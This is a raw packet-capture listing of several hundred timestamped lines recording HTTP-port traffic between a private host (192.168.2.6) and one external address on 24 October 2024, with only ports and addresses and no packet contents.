Oct 24, 2024 18:08:20.995678902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995682001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995708942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995965958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995980024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996015072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996038914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996053934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996069908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996088982 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996095896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996110916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996125937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996131897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996140957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996156931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996159077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996172905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996206045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996515989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996613979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996629000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996644974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996651888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996659040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996665955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996675014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996692896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996707916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996709108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996735096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996918917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996942997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996959925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996963024 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.996974945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.996989965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997005939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997008085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.997021914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997035980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997035980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.997051001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997056007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.997066021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997080088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997083902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.997097015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997112989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997117043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.997128010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997142076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997157097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.997159958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.997181892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.043308020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.060436010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092448950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092477083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092493057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092525005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092621088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092637062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092650890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092667103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092669010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092684984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092699051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092704058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092715025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092735052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092740059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092751980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092756987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092772007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092787981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092797041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092803001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092818022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092823029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092832088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092848063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092849970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092864037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092878103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092880964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092892885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092909098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092922926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092925072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092938900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092950106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.092953920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.092976093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.102494001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114317894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114401102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114415884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114435911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114455938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114456892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114473104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114487886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114512920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114528894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114543915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114566088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114604950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114628077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114644051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114651918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114675999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114691973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114692926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114706993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114723921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114725113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114737034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114752054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114752054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114764929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114794016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.114846945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114859104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.114882946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115051985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115067959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115107059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115160942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115175009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115190029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115196943 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115202904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115217924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115221977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115232944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115247965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115262985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115272045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115288019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115294933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115308046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115330935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115346909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115355968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115362883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115372896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115387917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115408897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115413904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115428925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115443945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115459919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115467072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115484953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115485907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115500927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115516901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115567923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115567923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115575075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115591049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115606070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115642071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115689039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115704060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115719080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115721941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115734100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115748882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115747929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115803957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.115963936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.115981102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116003990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116018057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116019964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116033077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116048098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116051912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116090059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116132975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116156101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116169930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116183996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116192102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116199970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116214991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116241932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116255999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116422892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116436958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116451025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116477013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116513014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116533041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116548061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116564035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116568089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116591930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116667032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116681099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116698027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116709948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116725922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116746902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.116787910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116801023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.116832972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.157454967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.170619011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.205274105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205383062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205432892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.205434084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205466986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205533028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.205537081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205570936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205604076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205610991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.205634117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.205670118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212083101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212138891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212179899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212192059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212227106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212261915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212265968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212349892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212389946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212447882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212532043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212573051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212585926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212618113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212651968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212656975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212685108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212717056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212723017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212749958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212783098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212790012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212817907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212852001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212858915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212883949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212920904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.212924004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.212949991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.213022947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.233844995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.233911991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.233968973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234014988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234020948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234074116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234076977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234110117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234142065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234165907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234178066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234251022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234297991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234303951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234348059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234357119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234390020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234424114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234473944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234477043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234508038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234513998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234540939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234575033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234584093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234608889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234643936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234672070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234693050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234709978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234716892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234746933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234778881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234782934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234813929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234858036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234860897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234894991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.234932899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.234951973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235003948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235035896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235052109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235086918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235135078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235168934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235174894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235202074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235224962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235235929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235268116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235277891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235335112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235377073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235388994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235430956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235462904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235471964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235495090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235528946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235553980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235562086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235594988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235634089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235640049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235668898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235716105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235717058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235750914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235766888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235800982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235832930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235836983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235865116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235902071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.235914946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235946894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.235977888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236011028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236016035 CEST	49744	80	192.168.2.6	185.215.113.16
